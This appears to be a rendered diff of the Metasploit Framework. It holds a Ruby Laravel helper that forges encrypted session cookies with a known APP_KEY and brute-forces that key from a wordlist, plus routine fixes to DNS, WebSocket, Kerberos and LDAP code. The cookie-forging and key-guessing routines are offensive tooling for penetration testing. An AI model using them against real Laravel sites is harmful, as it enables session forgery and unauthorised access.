||||
key = retrieve_key(key)
|
||||
iv = OpenSSL::Random.random_bytes(16) # Random 16-byte IV
|
||||
tmp_bytes = Base64.strict_encode64(aes_encrypt(Base64.strict_decode64(value_to_encrypt), iv, key, cipher_mode))
|
||||
|
||||
# Base64-encode the IV
|
||||
b64_iv = Base64.strict_encode64(iv).strip
|
||||
|
||||
# Prepare data for output
|
||||
data = {
|
||||
'iv' => b64_iv,
|
||||
'value' => tmp_bytes.strip,
|
||||
'mac' => generate_mac(key, b64_iv, tmp_bytes.strip),
|
||||
'tag' => '' # Assuming empty tag
|
||||
}
|
||||
# Return the final encrypted value as Base64-encoded JSON
|
||||
Base64.strict_encode64(data.to_json)
|
||||
end
|
||||
|
||||
# Encrypts a base64 string as a Laravel session cookie.
|
||||
# @param [String] <value_to_encrypt> The value that will be encrypted
|
||||
# @param [String] <hash_value> The decrypted value of the Laravel session cookie
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The base64-encoded encrypted Laravel session_cookie value
|
||||
def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode)
|
||||
decoded_value = Base64.strict_decode64(value_to_encrypt).force_encoding('utf-8')
|
||||
parsed_value = decoded_value.gsub('\\', '\\\\\\').gsub('"', '\\"').gsub(/\00/, '\\u0000')
|
||||
session_json_to_encrypt = "#{hash_value}|{\"data\":\"#{parsed_value}\",\"expires\":9999999999}"
|
||||
laravel_encrypt(Base64.strict_encode64(session_json_to_encrypt), key, cipher_mode)
|
||||
end
|
||||
|
||||
# Parses Laravel cipher data
|
||||
# @param [String] <laravel_cipher> The base64-encoded Laravel cipher data
|
||||
#
|
||||
# @return [String] The laravel parsed cipher data in JSON format or nil if unsuccessful
|
||||
def parse_laravel_cipher(laravel_cipher)
|
||||
laravel_cipher = CGI.unescape(laravel_cipher) # Decoding URL encoded string
|
||||
begin
|
||||
data = JSON.parse(Base64.strict_decode64(laravel_cipher))
|
||||
rescue JSON::ParserError
|
||||
vprint_error('The JSON inside your base64 is malformed')
|
||||
return
|
||||
rescue StandardError
|
||||
vprint_error('Your base64 laravel_cipher value is malformed')
|
||||
return
|
||||
end
|
||||
|
||||
data['value'] = Base64.strict_decode64(data['value'])
|
||||
data['iv'] = Base64.strict_decode64(data['iv'])
|
||||
data
|
||||
end
|
||||
|
||||
# Parse Laravel APP_KEY value
|
||||
# @param [String] <key> The Laravel APP_KEY
|
||||
#
|
||||
# @return [String] The Laravel parsed APP_KEY
|
||||
def retrieve_key(key)
|
||||
if key.start_with?('base64:')
|
||||
Base64.strict_decode64(key.split(':')[1])
|
||||
elsif key.length == 44
|
||||
Base64.strict_decode64(key)
|
||||
else
|
||||
key.encode('utf-8')
|
||||
end
|
||||
end
|
||||
|
||||
# Decrypts a Laravel ciphered string
|
||||
# @param [String] <laravel_cipher> The Laravel cipher to be decrypted
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The decrypted Laravel cipher or nil if unsuccessful
|
||||
def laravel_decrypt(laravel_cipher, key, cipher_mode)
|
||||
data = parse_laravel_cipher(laravel_cipher)
|
||||
key = retrieve_key(key)
|
||||
|
||||
begin
|
||||
return aes_decrypt(data['value'], data['iv'], key, cipher_mode)
|
||||
rescue StandardError
|
||||
vprint_error('Your key is probably malformed or incorrect.')
|
||||
end
|
||||
end
|
||||
|
||||
# Uses an opened file containing a key on each line to perform a brute-force attack on a given value
|
||||
# @param [String] <value> The encrypted Laravel value
|
||||
# @param [String] <key_file> The file with Laravel APP_KEYs per line used for brute-force decryption
|
||||
# @param [String] <key> The key used for decryption
|
||||
# @param [String] <cipher_mode> Cipher_mode used for encryption (AES-256-CBC)
|
||||
#
|
||||
# @return [String] The valid key if it was identified with the value: {"key":<key>, "value":<value>}
|
||||
def laravel_bruteforce_from_file(value, key_file, cipher_mode)
|
||||
if !File.file?(key_file)
|
||||
return nil
|
||||
end
|
||||
|
||||
File.foreach(key_file) do |line|
|
||||
key = line.strip
|
||||
decrypted_value = laravel_decrypt(value, key, cipher_mode).force_encoding('utf-8')
|
||||
if decrypted_value
|
||||
return { 'key' => key, 'value' => decrypted_value }
|
||||
end
|
||||
rescue StandardError
|
||||
next
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Generate HMAC with SHA256
|
||||
# @param [String] <value> The value that will be encrypted
|
||||
# @param [String] <iv> Random 16-byte IV parameter
|
||||
# @param [String] <key> The key
|
||||
#
|
||||
# @return [String] The hmac digest.
|
||||
def generate_mac(key, iv, value)
|
||||
return OpenSSL::HMAC.hexdigest('SHA256', key, "#{iv}#{value}")
|
||||
end
|
||||
end
|
||||
@@ -52,11 +52,17 @@ module Server
|
||||
data = entries.split(';')
|
||||
end
|
||||
data.each do |entry|
|
||||
next if entry.gsub(/\s/,'').empty?
|
||||
addr, names = entry.split(' ', 2)
|
||||
next if entry.gsub(/\s/, '').empty?
|
||||
|
||||
address, names = entry.split(' ', 2)
|
||||
names.split.each do |name|
|
||||
name << '.' unless name[-1] == '.' or name == '*'
|
||||
service.cache.add_static(name, addr, type)
|
||||
name << '.' unless name.end_with?('.') || name == '*'
|
||||
|
||||
unless Rex::Socket.is_ip_addr?(address.to_s) && (name.to_s.match(MATCH_HOSTNAME) || name == '*')
|
||||
raise "Invalid parameters for static entry - #{name}, #{address}, #{type}"
|
||||
end
|
||||
|
||||
service.cache.cache_record(Dnsruby::RR.create(name: name, type: type, address: address), expire: false)
|
||||
end
|
||||
end
|
||||
service.cache.records.select {|r,e| e == 0}
|
||||
|
||||
@@ -235,7 +235,8 @@ module Exploit::Remote::HttpClient
|
||||
# @raise [Rex::Proto::Http::WebSocket::WebSocketError] raises an exception if the connection fails
|
||||
# @return [Rex::Proto::Http::WebSocket::Interface]
|
||||
def connect_ws(opts={}, timeout = 20)
|
||||
ws_key = Rex::Text.rand_text_alphanumeric(20)
|
||||
# As per the spec (RFC6455 Section 11.3.1), a Sec-WebSocket-Key is a 16 byte value that has been Base64 encoded.
|
||||
ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))
|
||||
opts['headers'] = opts.fetch('headers', {}).merge({
|
||||
'Connection' => 'Upgrade',
|
||||
'Upgrade' => 'WebSocket',
|
||||
@@ -499,7 +500,11 @@ module Exploit::Remote::HttpClient
|
||||
end
|
||||
|
||||
# Don't forget any GET parameters
|
||||
opts['query'] ||= location.query if location.query
|
||||
if location.query
|
||||
opts['query'] = location.query
|
||||
else
|
||||
opts['query'] = ''
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -1088,8 +1088,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
|
||||
end
|
||||
|
||||
unless !sname_hostname ||
|
||||
sname_hostname.to_s.downcase == credential.server.components[1] ||
|
||||
sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1])
|
||||
sname_hostname.to_s.downcase == credential.server.components[1].downcase ||
|
||||
sname_hostname.to_s.downcase.ends_with?('.' + credential.server.components[1].downcase)
|
||||
wlog("Filtered credential #{file_path} ##{index} reason: SPN (#{sname_hostname}) hostname does not match (spn: #{credential.server.components.snapshot.join('/')})")
|
||||
next
|
||||
end
|
||||
|
||||
@@ -285,6 +285,8 @@ module Msf
|
||||
fail_with(Msf::Module::Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
|
||||
when 18
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'The LDAP search failed because some matching is not supported for the target attribute type!')
|
||||
when 19
|
||||
fail_with(Msf::Module::Failure::BadConfig, 'A constraint on the operation was not satisfied')
|
||||
when 32
|
||||
fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP search failed because the operation targeted an entity within the base DN that does not exist.')
|
||||
when 33
|
||||
|
||||
@@ -284,6 +284,14 @@ module Msf
|
||||
end
|
||||
normalized_attribute[0] = time_string
|
||||
when 66 # String (Nt Security Descriptor)
|
||||
if attribute_property[:attributesyntax] == '2.5.5.15'
|
||||
begin
|
||||
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[attribute_name][0])
|
||||
normalized_attribute[0] = sd.to_sddl_text(domain_sid: nil)
|
||||
rescue StandardError => e
|
||||
elog('failed to parse a binary security descriptor to SDDL', error: e)
|
||||
end
|
||||
end
|
||||
when 127 # Object
|
||||
else
|
||||
print_error("Unknown oMSyntax entry: #{attribute_property[:omsyntax]}")
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user